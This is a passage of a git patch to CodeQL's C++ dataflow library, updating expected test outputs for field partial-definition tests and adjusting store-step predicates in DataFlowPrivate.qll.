s | IR only | | aliasing.cpp:232:15:232:22 | & ... | AST only | -| aliasing.cpp:232:16:232:17 | s2 | AST only | +| aliasing.cpp:233:12:233:12 | s2 | IR only | +| aliasing.cpp:234:10:234:11 | s | IR only | | arrays.cpp:6:3:6:8 | access to array | AST only | | arrays.cpp:6:3:6:23 | arr | IR only | | arrays.cpp:15:3:15:10 | * ... | AST only | -| arrays.cpp:36:3:36:3 | o | AST only | -| arrays.cpp:36:5:36:10 | nested | AST only | | arrays.cpp:36:19:36:22 | data | AST only | -| arrays.cpp:37:8:37:8 | o | AST only | -| arrays.cpp:37:8:37:22 | access to array | AST only | -| arrays.cpp:37:10:37:15 | nested | AST only | | arrays.cpp:37:24:37:27 | data | AST only | -| arrays.cpp:38:8:38:8 | o | AST only | -| arrays.cpp:38:8:38:22 | access to array | AST only | -| arrays.cpp:38:10:38:15 | nested | AST only | | arrays.cpp:38:24:38:27 | data | AST only | -| arrays.cpp:42:3:42:3 | o | AST only | -| arrays.cpp:42:3:42:20 | access to array | AST only | -| arrays.cpp:42:5:42:12 | indirect | AST only | | arrays.cpp:42:22:42:25 | data | AST only | -| arrays.cpp:43:8:43:8 | o | AST only | -| arrays.cpp:43:8:43:25 | access to array | AST only | -| arrays.cpp:43:10:43:17 | indirect | AST only | | arrays.cpp:43:27:43:30 | data | AST only | -| arrays.cpp:44:8:44:8 | o | AST only | -| arrays.cpp:44:8:44:25 | access to array | AST only | -| arrays.cpp:44:10:44:17 | indirect | AST only | | arrays.cpp:44:27:44:30 | data | AST only | -| arrays.cpp:48:3:48:3 | o | AST only | -| arrays.cpp:48:3:48:20 | access to array | AST only | -| arrays.cpp:48:5:48:12 | indirect | AST only | | arrays.cpp:48:22:48:25 | data | AST only | -| arrays.cpp:49:8:49:8 | o | AST only | -| arrays.cpp:49:8:49:25 | access to array | AST only | -| arrays.cpp:49:10:49:17 | indirect | AST only | | arrays.cpp:49:27:49:30 | data | AST only | -| arrays.cpp:50:8:50:8 | o | AST only | -| arrays.cpp:50:8:50:25 | access to array | AST only | -| arrays.cpp:50:10:50:17 | indirect | AST only | | arrays.cpp:50:27:50:30 | data | AST only | | by_reference.cpp:12:8:12:8 | a | AST only | | by_reference.cpp:16:11:16:11 | a | AST only | @@ -235,6 +200,8 @@ | by_reference.cpp:20:23:20:27 | value | AST only | | by_reference.cpp:24:19:24:22 | this | AST only | | by_reference.cpp:24:25:24:29 | value | AST only | +| by_reference.cpp:32:15:32:15 | s | IR only | +| by_reference.cpp:36:18:36:18 | this | IR only | | by_reference.cpp:50:3:50:3 | s | AST only | | by_reference.cpp:50:17:50:26 | call to user_input | AST only | | by_reference.cpp:51:10:51:20 | call to getDirectly | AST only | @@ -252,71 +219,45 @@ | by_reference.cpp:92:3:92:5 | * ... | AST only | | by_reference.cpp:96:3:96:4 | pa | AST only | | by_reference.cpp:102:21:102:39 | & ... | AST only | -| by_reference.cpp:103:21:103:25 | outer | AST only | | by_reference.cpp:103:27:103:35 | inner_ptr | AST only | | by_reference.cpp:104:15:104:22 | & ... | AST only | | by_reference.cpp:106:21:106:41 | & ... | AST only | -| by_reference.cpp:107:21:107:26 | pouter | AST only | | by_reference.cpp:107:29:107:37 | inner_ptr | AST only | | by_reference.cpp:108:15:108:24 | & ... | AST only | -| by_reference.cpp:110:8:110:12 | outer | AST only | -| by_reference.cpp:110:14:110:25 | inner_nested | AST only | | by_reference.cpp:110:27:110:27 | a | AST only | -| by_reference.cpp:111:8:111:12 | outer | AST only | -| by_reference.cpp:111:14:111:22 | inner_ptr | AST only | | by_reference.cpp:111:25:111:25 | a | AST only | -| by_reference.cpp:112:8:112:12 | outer | AST only | | by_reference.cpp:112:14:112:14 | a | AST only | -| by_reference.cpp:114:8:114:13 | pouter | AST only | -| by_reference.cpp:114:16:114:27 | inner_nested | AST only | | by_reference.cpp:114:29:114:29 | a | AST only | -| by_reference.cpp:115:8:115:13 | pouter | AST only | -| by_reference.cpp:115:16:115:24 | inner_ptr | AST only | | by_reference.cpp:115:27:115:27 | a | AST only | -| by_reference.cpp:116:8:116:13 | pouter | AST only | | by_reference.cpp:116:16:116:16 | a | AST only | | by_reference.cpp:122:27:122:38 | inner_nested | AST only | | by_reference.cpp:123:21:123:36 | * ... | AST only | -| by_reference.cpp:123:22:123:26 | outer | AST only | | by_reference.cpp:124:21:124:21 | a | AST only | | by_reference.cpp:126:29:126:40 | inner_nested | AST only | | by_reference.cpp:127:21:127:38 | * ... | AST only | -| by_reference.cpp:127:22:127:27 | pouter | AST only | | by_reference.cpp:128:23:128:23 | a | AST only | -| by_reference.cpp:130:8:130:12 | outer | AST only | -| by_reference.cpp:130:14:130:25 | inner_nested | AST only | | by_reference.cpp:130:27:130:27 | a | AST only | -| by_reference.cpp:131:8:131:12 | outer | AST only | -| by_reference.cpp:131:14:131:22 | inner_ptr | AST only | | by_reference.cpp:131:25:131:25 | a | AST only | -| by_reference.cpp:132:8:132:12 | outer | AST only | | by_reference.cpp:132:14:132:14 | a | AST only | -| by_reference.cpp:134:8:134:13 | pouter | AST only | -| by_reference.cpp:134:16:134:27 | inner_nested | AST only | | by_reference.cpp:134:29:134:29 | a | AST only | -| by_reference.cpp:135:8:135:13 | pouter | AST only | -| by_reference.cpp:135:16:135:24 | inner_ptr | AST only | | by_reference.cpp:135:27:135:27 | a | AST only | -| by_reference.cpp:136:8:136:13 | pouter | AST only | | by_reference.cpp:136:16:136:16 | a | AST only | +| complex.cpp:9:20:9:21 | this | IR only | +| complex.cpp:10:20:10:21 | this | IR only | | complex.cpp:11:22:11:23 | a_ | AST only | | complex.cpp:12:22:12:23 | b_ | AST only | -| complex.cpp:42:8:42:8 | b | AST only | | complex.cpp:42:16:42:16 | f | AST only | -| complex.cpp:43:8:43:8 | b | AST only | | complex.cpp:43:16:43:16 | f | AST only | -| complex.cpp:53:3:53:4 | b1 | AST only | | complex.cpp:53:12:53:12 | f | AST only | -| complex.cpp:54:3:54:4 | b2 | AST only | | complex.cpp:54:12:54:12 | f | AST only | -| complex.cpp:55:3:55:4 | b3 | AST only | | complex.cpp:55:12:55:12 | f | AST only | -| complex.cpp:56:3:56:4 | b3 | AST only | | complex.cpp:56:12:56:12 | f | AST only | | complex.cpp:59:7:59:8 | b1 | AST only | | complex.cpp:62:7:62:8 | b2 | AST only | | complex.cpp:65:7:65:8 | b3 | AST only | | complex.cpp:68:7:68:8 | b4 | AST only | +| constructors.cpp:18:22:18:23 | this | IR only | +| constructors.cpp:19:22:19:23 | this | IR only | | constructors.cpp:20:24:20:25 | a_ | AST only | | constructors.cpp:21:24:21:25 | b_ | AST only | | constructors.cpp:28:10:28:10 | f | AST only | @@ -328,68 +269,55 @@ | qualifiers.cpp:9:36:9:36 | a | AST only | | qualifiers.cpp:12:56:12:56 | a | AST only | | qualifiers.cpp:13:57:13:57 | a | AST only | +| qualifiers.cpp:18:32:18:36 | this | IR only | | qualifiers.cpp:22:5:22:9 | outer | AST only | -| qualifiers.cpp:22:11:22:18 | call to getInner | AST only | | qualifiers.cpp:22:23:22:23 | a | AST only | -| qualifiers.cpp:23:10:23:14 | outer | AST only | -| qualifiers.cpp:23:16:23:20 | inner | AST only | | qualifiers.cpp:23:23:23:23 | a | AST only | | qualifiers.cpp:27:5:27:9 | outer | AST only | | qualifiers.cpp:27:11:27:18 | call to getInner | AST only | | qualifiers.cpp:27:28:27:37 | call to user_input | AST only | -| qualifiers.cpp:28:10:28:14 | outer | AST only | -| qualifiers.cpp:28:16:28:20 | inner | AST only | | qualifiers.cpp:28:23:28:23 | a | AST only | | qualifiers.cpp:32:17:32:21 | outer | AST only | | qualifiers.cpp:32:23:32:30 | call to getInner | AST only | | qualifiers.cpp:32:35:32:44 | call to user_input | AST only | -| qualifiers.cpp:33:10:33:14 | outer | AST only | -| qualifiers.cpp:33:16:33:20 | inner | AST only | | qualifiers.cpp:33:23:33:23 | a | AST only | | qualifiers.cpp:37:19:37:35 | * ... | AST only | | qualifiers.cpp:37:20:37:24 | outer | AST only | | qualifiers.cpp:37:38:37:47 | call to user_input | AST only | -| qualifiers.cpp:38:10:38:14 | outer | AST only | -| qualifiers.cpp:38:16:38:20 | inner | AST only | | qualifiers.cpp:38:23:38:23 | a | AST only | -| qualifiers.cpp:42:6:42:22 | * ... | AST only | | qualifiers.cpp:42:7:42:11 | outer | AST only | | qualifiers.cpp:42:25:42:25 | a | AST only | -| qualifiers.cpp:43:10:43:14 | outer | AST only | -| qualifiers.cpp:43:16:43:20 | inner | AST only | | qualifiers.cpp:43:23:43:23 | a | AST only | | qualifiers.cpp:47:6:47:11 | & ... | AST only | -| qualifiers.cpp:47:15:47:22 | call to getInner | AST only | | qualifiers.cpp:47:27:47:27 | a | AST only | -| qualifiers.cpp:48:10:48:14 | outer | AST only | -| qualifiers.cpp:48:16:48:20 | inner | AST only | | qualifiers.cpp:48:23:48:23 | a | AST only | | realistic.cpp:26:5:26:10 | offset | AST only | | realistic.cpp:42:20:42:20 | o | AST only | -| realistic.cpp:49:9:49:11 | foo | AST only | | realistic.cpp:49:20:49:22 | baz | AST only | -| realistic.cpp:53:9:53:11 | foo | AST only | -| realistic.cpp:53:9:53:18 | access to array | AST only | -| realistic.cpp:53:20:53:22 | baz | AST only | -| realistic.cpp:53:25:53:33 | userInput | AST only | | realistic.cpp:53:35:53:43 | bufferLen | AST only | -| realistic.cpp:54:16:54:18 | foo | AST only | -| realistic.cpp:54:16:54:25 | access to array | AST only | -| realistic.cpp:54:27:54:29 | baz | AST only | -| realistic.cpp:54:32:54:40 | userInput | AST only | | realistic.cpp:54:42:54:47 | buffer | AST only | +| realistic.cpp:55:16:55:18 | foo | IR only | +| realistic.cpp:55:23:55:25 | access to array | IR only | +| realistic.cpp:55:28:55:36 | baz | IR only | +| realistic.cpp:55:38:55:46 | userInput | IR only | +| realistic.cpp:57:92:57:94 | foo | IR only | +| realistic.cpp:57:99:57:101 | access to array | IR only | +| realistic.cpp:57:104:57:112 | baz | IR only | +| realistic.cpp:57:114:57:122 | userInput | IR only | | realistic.cpp:60:16:60:18 | dst | AST only | -| realistic.cpp:61:21:61:23 | foo | AST only | -| realistic.cpp:61:21:61:30 | access to array | AST only | -| realistic.cpp:61:32:61:34 | baz | AST only | -| realistic.cpp:61:37:61:45 | userInput | AST only | +| realistic.cpp:60:25:60:27 | foo | IR only | +| realistic.cpp:60:32:60:34 | access to array | IR only | +| realistic.cpp:60:37:60:45 | baz | IR only | +| realistic.cpp:60:47:60:52 | userInput | IR only | +| realistic.cpp:60:59:60:61 | foo | IR only | +| realistic.cpp:60:66:60:68 | access to array | IR only | +| realistic.cpp:60:71:60:79 | baz | IR only | +| realistic.cpp:60:81:60:89 | userInput | IR only | | realistic.cpp:61:47:61:55 | bufferLen | AST only | -| realistic.cpp:65:21:65:23 | foo | AST only | -| realistic.cpp:65:21:65:30 | access to array | AST only | -| realistic.cpp:65:32:65:34 | baz | AST only | -| realistic.cpp:65:37:65:45 | userInput | AST only | | realistic.cpp:65:47:65:52 | buffer | AST only | | realistic.cpp:66:21:66:23 | dst | AST only | +| simple.cpp:18:22:18:23 | this | IR only | +| simple.cpp:19:22:19:23 | this | IR only | | simple.cpp:20:24:20:25 | a_ | AST only | | simple.cpp:21:24:21:25 | b_ | AST only | | simple.cpp:28:10:28:10 | f | AST only | @@ -403,33 +331,24 @@ | simple.cpp:51:9:51:9 | h | AST only | | simple.cpp:54:9:54:9 | i | AST only | | simple.cpp:65:7:65:7 | i | AST only | -| simple.cpp:83:9:83:10 | this | AST only | +| simple.cpp:67:13:67:13 | a2 | IR only | +| simple.cpp:79:16:79:17 | this | IR only | +| simple.cpp:79:19:79:20 | f2 | IR only | | simple.cpp:83:12:83:13 | f1 | AST only | | simple.cpp:84:14:84:20 | this | AST only | | simple.cpp:92:7:92:7 | i | AST only | -| simple.cpp:104:5:104:5 | b | AST only | +| simple.cpp:94:13:94:13 | a2 | IR only | | simple.cpp:104:9:104:9 | i | AST only | -| struct_init.c:15:8:15:9 | ab | AST only | +| simple.cpp:106:13:106:13 | b2 | IR only | +| simple.cpp:106:15:106:15 | a | IR only | | struct_init.c:15:12:15:12 | a | AST only | -| struct_init.c:16:8:16:9 | ab | AST only | | struct_init.c:16:12:16:12 | b | AST only | -| struct_init.c:22:8:22:9 | ab | AST only | | struct_init.c:22:11:22:11 | a | AST only | -| struct_init.c:23:8:23:9 | ab | AST only | | struct_init.c:23:11:23:11 | b | AST only | | struct_init.c:24:10:24:12 | & ... | AST only | -| struct_init.c:31:8:31:12 | outer | AST only | -| struct_init.c:31:14:31:21 | nestedAB | AST only | | struct_init.c:31:23:31:23 | a | AST only | -| struct_init.c:32:8:32:12 | outer | AST only | -| struct_init.c:32:14:32:21 | nestedAB | AST only | | struct_init.c:32:23:32:23 | b | AST only | -| struct_init.c:33:8:33:12 | outer | AST only | -| struct_init.c:33:14:33:22 | pointerAB | AST only | | struct_init.c:33:25:33:25 | a | AST only | -| struct_init.c:34:8:34:12 | outer | AST only | -| struct_init.c:34:14:34:22 | pointerAB | AST only | | struct_init.c:34:25:34:25 | b | AST only | | struct_init.c:36:10:36:24 | & ... | AST only | -| struct_init.c:46:10:46:14 | outer | AST only | | struct_init.c:46:16:46:24 | pointerAB | AST only | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected index 5b73bf8dd33..0f534661aa5 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected @@ -1,76 +1,323 @@ | A.cpp:25:7:25:10 | this | | A.cpp:27:22:27:25 | this | +| A.cpp:28:23:28:26 | this | +| A.cpp:49:10:49:10 | b | +| A.cpp:65:10:65:11 | b1 | +| A.cpp:66:10:66:11 | b2 | +| A.cpp:74:10:74:11 | b1 | +| A.cpp:75:10:75:11 | b2 | | A.cpp:100:5:100:6 | c1 | +| A.cpp:107:12:107:13 | c1 | +| A.cpp:120:12:120:13 | c1 | +| A.cpp:132:10:132:10 | b | | A.cpp:142:7:142:7 | b | | A.cpp:143:7:143:10 | this | +| A.cpp:152:10:152:10 | d | +| A.cpp:153:10:153:10 | d | +| A.cpp:153:13:153:13 | b | +| A.cpp:154:10:154:10 | b | +| A.cpp:163:10:163:11 | l3 | +| A.cpp:164:10:164:11 | l3 | +| A.cpp:164:14:164:17 | next | +| A.cpp:165:10:165:11 | l3 | +| A.cpp:165:14:165:17 | next | +| A.cpp:165:20:165:23 | next | +| A.cpp:166:10:166:11 | l3 | +| A.cpp:166:14:166:17 | next | +| A.cpp:166:20:166:23 | next | +| A.cpp:166:26:166:29 | next | +| A.cpp:167:44:167:44 | l | +| A.cpp:169:12:169:12 | l | | A.cpp:183:7:183:10 | this | | A.cpp:184:7:184:10 | this | +| B.cpp:9:10:9:11 | b2 | +| B.cpp:9:14:9:17 | box1 | +| B.cpp:10:10:10:11 | b2 | +| B.cpp:10:14:10:17 | box1 | +| B.cpp:18:10:18:11 | b2 | +| B.cpp:18:14:18:17 | box1 | +| B.cpp:19:10:19:11 | b2 | +| B.cpp:19:14:19:17 | box1 | | B.cpp:35:7:35:10 | this | | B.cpp:36:7:36:10 | this | | B.cpp:46:7:46:10 | this | | C.cpp:24:5:24:8 | this | +| C.cpp:29:10:29:11 | this | +| C.cpp:30:10:30:11 | this | +| C.cpp:31:10:31:11 | this | | D.cpp:9:21:9:24 | this | +| D.cpp:10:30:10:33 | this | | D.cpp:11:29:11:32 | this | | D.cpp:16:21:16:23 | this | +| D.cpp:17:30:17:32 | this | | D.cpp:18:29:18:31 | this | +| D.cpp:30:5:30:5 | b | +| D.cpp:30:8:30:10 | box | +| D.cpp:37:5:37:5 | b | +| D.cpp:44:8:44:14 | call to getBox1 | | D.cpp:57:5:57:12 | this | +| D.cpp:58:5:58:12 | boxfield | +| D.cpp:58:5:58:12 | this | +| D.cpp:58:15:58:17 | box | +| D.cpp:64:10:64:17 | boxfield | +| D.cpp:64:10:64:17 | this | +| D.cpp:64:20:64:22 | box | +| E.cpp:21:10:21:10 | p | +| E.cpp:21:13:21:16 | data | +| E.cpp:29:21:29:21 | b | +| E.cpp:30:21:30:21 | p | +| E.cpp:30:23:30:26 | data | +| E.cpp:32:10:32:10 | b | | aliasing.cpp:9:3:9:3 | s | | aliasing.cpp:13:3:13:3 | s | | aliasing.cpp:17:3:17:3 | s | +| aliasing.cpp:29:8:29:9 | s1 | +| aliasing.cpp:30:8:30:9 | s2 | +| aliasing.cpp:31:8:31:9 | s3 | | aliasing.cpp:37:3:37:6 | ref1 | +| aliasing.cpp:38:8:38:9 | s1 | | aliasing.cpp:42:3:42:4 | s2 | +| aliasing.cpp:43:8:43:11 | ref2 | | aliasing.cpp:49:3:49:7 | copy1 | +| aliasing.cpp:50:8:50:9 | s1 | | aliasing.cpp:54:3:54:4 | s2 | +| aliasing.cpp:55:8:55:12 | copy2 | | aliasing.cpp:60:3:60:4 | s2 | +| aliasing.cpp:62:8:62:12 | copy2 | +| aliasing.cpp:71:9:71:9 | w | | aliasing.cpp:72:3:72:3 | s | +| aliasing.cpp:73:8:73:8 | w | +| aliasing.cpp:73:10:73:10 | s | +| aliasing.cpp:78:11:78:11 | w | | aliasing.cpp:79:3:79:3 | s | +| aliasing.cpp:80:8:80:8 | w | +| aliasing.cpp:80:10:80:10 | s | +| aliasing.cpp:85:10:85:10 | w | | aliasing.cpp:86:3:86:3 | s | +| aliasing.cpp:87:8:87:8 | w | +| aliasing.cpp:87:10:87:10 | s | +| aliasing.cpp:92:3:92:3 | w | | aliasing.cpp:92:5:92:5 | s | +| aliasing.cpp:93:8:93:8 | w | +| aliasing.cpp:93:10:93:10 | s | | aliasing.cpp:98:3:98:3 | s | +| aliasing.cpp:101:14:101:19 | s_copy | | aliasing.cpp:111:16:111:16 | s | +| aliasing.cpp:112:8:112:8 | s | +| aliasing.cpp:141:15:141:15 | s | +| aliasing.cpp:143:8:143:8 | s | | aliasing.cpp:147:16:147:19 | access to array | +| aliasing.cpp:148:8:148:11 | access to array | +| aliasing.cpp:158:15:158:15 | s | +| aliasing.cpp:159:9:159:9 | s | +| aliasing.cpp:164:15:164:15 | s | +| aliasing.cpp:165:8:165:8 | s | +| aliasing.cpp:175:16:175:17 | s2 | | aliasing.cpp:175:19:175:19 | s | +| aliasing.cpp:176:8:176:9 | s2 | +| aliasing.cpp:176:11:176:11 | s | +| aliasing.cpp:181:16:181:17 | s2 | | aliasing.cpp:181:19:181:19 | s | +| aliasing.cpp:182:8:182:9 | s2 | +| aliasing.cpp:182:11:182:11 | s | +| aliasing.cpp:187:16:187:17 | s2 | | aliasing.cpp:187:19:187:19 | s | +| aliasing.cpp:189:8:189:11 | s2_2 | +| aliasing.cpp:189:13:189:13 | s | +| aliasing.cpp:194:16:194:17 | s2 | | aliasing.cpp:194:19:194:19 | s | +| aliasing.cpp:196:8:196:11 | s2_2 | +| aliasing.cpp:196:13:196:13 | s | +| aliasing.cpp:200:16:200:18 | ps2 | | aliasing.cpp:200:21:200:21 | s | +| aliasing.cpp:201:8:201:10 | ps2 | +| aliasing.cpp:201:13:201:13 | s | +| aliasing.cpp:205:16:205:18 | ps2 | | aliasing.cpp:205:21:205:21 | s | +| aliasing.cpp:206:8:206:10 | ps2 | +| aliasing.cpp:206:13:206:13 | s | +| aliasing.cpp:211:3:211:4 | s2 | | aliasing.cpp:211:6:211:6 | s | +| aliasing.cpp:212:9:212:10 | s2 | +| aliasing.cpp:213:8:213:8 | s | +| aliasing.cpp:218:3:218:4 | s2 | | aliasing.cpp:218:6:218:6 | s | +| aliasing.cpp:219:9:219:10 | s2 | +| aliasing.cpp:220:8:220:8 | s | +| aliasing.cpp:225:16:225:17 | s2 | | aliasing.cpp:225:19:225:19 | s | +| aliasing.cpp:226:9:226:10 | s2 | +| aliasing.cpp:227:8:227:8 | s | +| aliasing.cpp:232:16:232:17 | s2 | | aliasing.cpp:232:19:232:19 | s | +| aliasing.cpp:233:9:233:10 | s2 | +| aliasing.cpp:234:8:234:8 | s | | arrays.cpp:6:3:6:5 | arr | +| arrays.cpp:36:3:36:3 | o | | arrays.cpp:36:3:36:17 | access to array | +| arrays.cpp:36:5:36:10 | nested | +| arrays.cpp:37:8:37:8 | o | +| arrays.cpp:37:8:37:22 | access to array | +| arrays.cpp:37:10:37:15 | nested | +| arrays.cpp:38:8:38:8 | o | +| arrays.cpp:38:8:38:22 | access to array | +| arrays.cpp:38:10:38:15 | nested | +| arrays.cpp:42:3:42:3 | o | +| arrays.cpp:42:3:42:20 | access to array | +| arrays.cpp:42:5:42:12 | indirect | +| arrays.cpp:43:8:43:8 | o | +| arrays.cpp:43:8:43:25 | access to array | +| arrays.cpp:43:10:43:17 | indirect | +| arrays.cpp:44:8:44:8 | o | +| arrays.cpp:44:8:44:25 | access to array | +| arrays.cpp:44:10:44:17 | indirect | +| arrays.cpp:48:3:48:3 | o | +| arrays.cpp:48:3:48:20 | access to array | +| arrays.cpp:48:5:48:12 | indirect | +| arrays.cpp:49:8:49:8 | o | +| arrays.cpp:49:8:49:25 | access to array | +| arrays.cpp:49:10:49:17 | indirect | +| arrays.cpp:50:8:50:8 | o | +| arrays.cpp:50:8:50:25 | access to array | +| arrays.cpp:50:10:50:17 | indirect | | by_reference.cpp:12:5:12:5 | s | | by_reference.cpp:16:5:16:8 | this | +| by_reference.cpp:32:12:32:12 | s | +| by_reference.cpp:36:12:36:15 | this | | by_reference.cpp:84:3:84:7 | inner | | by_reference.cpp:88:3:88:7 | inner | | by_reference.cpp:102:22:102:26 | outer | +| by_reference.cpp:103:21:103:25 | outer | | by_reference.cpp:104:16:104:20 | outer | | by_reference.cpp:106:22:106:27 | pouter | +| by_reference.cpp:107:21:107:26 | pouter | | by_reference.cpp:108:16:108:21 | pouter | +| by_reference.cpp:110:8:110:12 | outer | +| by_reference.cpp:110:14:110:25 | inner_nested | +| by_reference.cpp:111:8:111:12 | outer | +| by_reference.cpp:111:14:111:22 | inner_ptr | +| by_reference.cpp:112:8:112:12 | outer | +| by_reference.cpp:114:8:114:13 | pouter | +| by_reference.cpp:114:16:114:27 | inner_nested | +| by_reference.cpp:115:8:115:13 | pouter | +| by_reference.cpp:115:16:115:24 | inner_ptr | +| by_reference.cpp:116:8:116:13 | pouter | | by_reference.cpp:122:21:122:25 | outer | +| by_reference.cpp:123:22:123:26 | outer | | by_reference.cpp:124:15:124:19 | outer | | by_reference.cpp:126:21:126:26 | pouter | +| by_reference.cpp:127:22:127:27 | pouter | | by_reference.cpp:128:15:128:20 | pouter | +| by_reference.cpp:130:8:130:12 | outer | +| by_reference.cpp:130:14:130:25 | inner_nested | +| by_reference.cpp:131:8:131:12 | outer | +| by_reference.cpp:131:14:131:22 | inner_ptr | +| by_reference.cpp:132:8:132:12 | outer | +| by_reference.cpp:134:8:134:13 | pouter | +| by_reference.cpp:134:16:134:27 | inner_nested | +| by_reference.cpp:135:8:135:13 | pouter | +| by_reference.cpp:135:16:135:24 | inner_ptr | +| by_reference.cpp:136:8:136:13 | pouter | +| complex.cpp:9:20:9:21 | this | +| complex.cpp:10:20:10:21 | this | | complex.cpp:11:22:11:23 | this | | complex.cpp:12:22:12:23 | this | +| complex.cpp:42:8:42:8 | b | | complex.cpp:42:10:42:14 | inner | +| complex.cpp:43:8:43:8 | b | | complex.cpp:43:10:43:14 | inner | +| complex.cpp:53:3:53:4 | b1 | | complex.cpp:53:6:53:10 | inner | +| complex.cpp:54:3:54:4 | b2 | | complex.cpp:54:6:54:10 | inner | +| complex.cpp:55:3:55:4 | b3 | | complex.cpp:55:6:55:10 | inner | +| complex.cpp:56:3:56:4 | b3 | | complex.cpp:56:6:56:10 | inner | +| constructors.cpp:18:22:18:23 | this | +| constructors.cpp:19:22:19:23 | this | | constructors.cpp:20:24:20:25 | this | | constructors.cpp:21:24:21:25 | this | | qualifiers.cpp:9:30:9:33 | this | | qualifiers.cpp:12:49:12:53 | inner | | qualifiers.cpp:13:51:13:55 | inner | +| qualifiers.cpp:18:32:18:36 | this | +| qualifiers.cpp:22:11:22:18 | call to getInner | +| qualifiers.cpp:23:10:23:14 | outer | +| qualifiers.cpp:23:16:23:20 | inner | +| qualifiers.cpp:28:10:28:14 | outer | +| qualifiers.cpp:28:16:28:20 | inner | +| qualifiers.cpp:33:10:33:14 | outer | +| qualifiers.cpp:33:16:33:20 | inner | +| qualifiers.cpp:38:10:38:14 | outer | +| qualifiers.cpp:38:16:38:20 | inner | +| qualifiers.cpp:42:6:42:22 | * ... | +| qualifiers.cpp:43:10:43:14 | outer | +| qualifiers.cpp:43:16:43:20 | inner | +| qualifiers.cpp:47:15:47:22 | call to getInner | +| qualifiers.cpp:48:10:48:14 | outer | +| qualifiers.cpp:48:16:48:20 | inner | +| realistic.cpp:49:9:49:11 | foo | | realistic.cpp:49:9:49:18 | access to array | +| realistic.cpp:53:9:53:11 | foo | +| realistic.cpp:53:9:53:18 | access to array | +| realistic.cpp:53:20:53:22 | baz | +| realistic.cpp:53:25:53:33 | userInput | +| realistic.cpp:54:16:54:18 | foo | +| realistic.cpp:54:16:54:25 | access to array | +| realistic.cpp:54:27:54:29 | baz | +| realistic.cpp:54:32:54:40 | userInput | +| realistic.cpp:55:12:55:14 | foo | +| realistic.cpp:55:12:55:21 | access to array | +| realistic.cpp:55:23:55:25 | baz | +| realistic.cpp:55:28:55:36 | userInput | +| realistic.cpp:57:88:57:90 | foo | +| realistic.cpp:57:88:57:97 | access to array | +| realistic.cpp:57:99:57:101 | baz | +| realistic.cpp:57:104:57:112 | userInput | +| realistic.cpp:60:21:60:23 | foo | +| realistic.cpp:60:21:60:30 | access to array | +| realistic.cpp:60:32:60:34 | baz | +| realistic.cpp:60:37:60:45 | userInput | +| realistic.cpp:60:55:60:57 | foo | +| realistic.cpp:60:55:60:64 | access to array | +| realistic.cpp:60:66:60:68 | baz | +| realistic.cpp:60:71:60:79 | userInput | +| realistic.cpp:61:21:61:23 | foo | +| realistic.cpp:61:21:61:30 | access to array | +| realistic.cpp:61:32:61:34 | baz | +| realistic.cpp:61:37:61:45 | userInput | +| realistic.cpp:65:21:65:23 | foo | +| realistic.cpp:65:21:65:30 | access to array | +| realistic.cpp:65:32:65:34 | baz | +| realistic.cpp:65:37:65:45 | userInput | +| simple.cpp:18:22:18:23 | this | +| simple.cpp:19:22:19:23 | this | | simple.cpp:20:24:20:25 | this | | simple.cpp:21:24:21:25 | this | | simple.cpp:65:5:65:5 | a | +| simple.cpp:67:10:67:11 | a2 | +| simple.cpp:79:16:79:17 | f2 | +| simple.cpp:79:16:79:17 | this | | simple.cpp:83:9:83:10 | f2 | +| simple.cpp:83:9:83:10 | this | | simple.cpp:92:5:92:5 | a | +| simple.cpp:94:10:94:11 | a2 | +| simple.cpp:104:5:104:5 | b | | simple.cpp:104:7:104:7 | a | +| simple.cpp:106:10:106:11 | b2 | +| simple.cpp:106:13:106:13 | a | +| struct_init.c:15:8:15:9 | ab | +| struct_init.c:16:8:16:9 | ab | +| struct_init.c:22:8:22:9 | ab | +| struct_init.c:23:8:23:9 | ab | +| struct_init.c:31:8:31:12 | outer | +| struct_init.c:31:14:31:21 | nestedAB | +| struct_init.c:32:8:32:12 | outer | +| struct_init.c:32:14:32:21 | nestedAB | +| struct_init.c:33:8:33:12 | outer | +| struct_init.c:33:14:33:22 | pointerAB | +| struct_init.c:34:8:34:12 | outer | +| struct_init.c:34:14:34:22 | pointerAB | | struct_init.c:36:11:36:15 | outer | +| struct_init.c:46:10:46:14 | outer | From a8b4fb6fd001612730115a809ae97d8590beb7a7 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sun, 6 Dec 2020 14:23:35 +0100 Subject: [PATCH 0358/1241] C++: Add qldoc (and remove predicate that wasn't needed). --- .../code/cpp/ir/dataflow/internal/DataFlowPrivate.qll | 6 +++--- .../semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll | 6 ++++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 73649da7594..09f8ae3e97f 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -241,7 +241,7 @@ private predicate instrToFieldNodeStoreStepNoChi( not exists(ChiInstruction chi | chi.getPartial() = store) and post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and store.getSourceValueOperand() = node1.asOperand() and - f.getADirectField() = post.getField() + f.getADirectField() = post.getPreUpdateNode().getField() ) } @@ -262,7 +262,7 @@ private predicate instrToFieldNodeStoreStepChi( chi.getPartialOperand() = operand and store = operand.getDef() and post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and - f.getADirectField() = post.getField() + f.getADirectField() = post.getPreUpdateNode().getField() ) } @@ -278,7 +278,7 @@ private predicate callableWithoutDefinitionStoreStep( post = node2.getPartialDefinition() and node1.asInstruction() = write and post.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and - f.getADirectField() = post.getField() and + f.getADirectField() = post.getPreUpdateNode().getField() and callable = write.getPrimaryInstruction().(CallInstruction).getStaticCallTarget() and not callable.hasDefinition() ) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 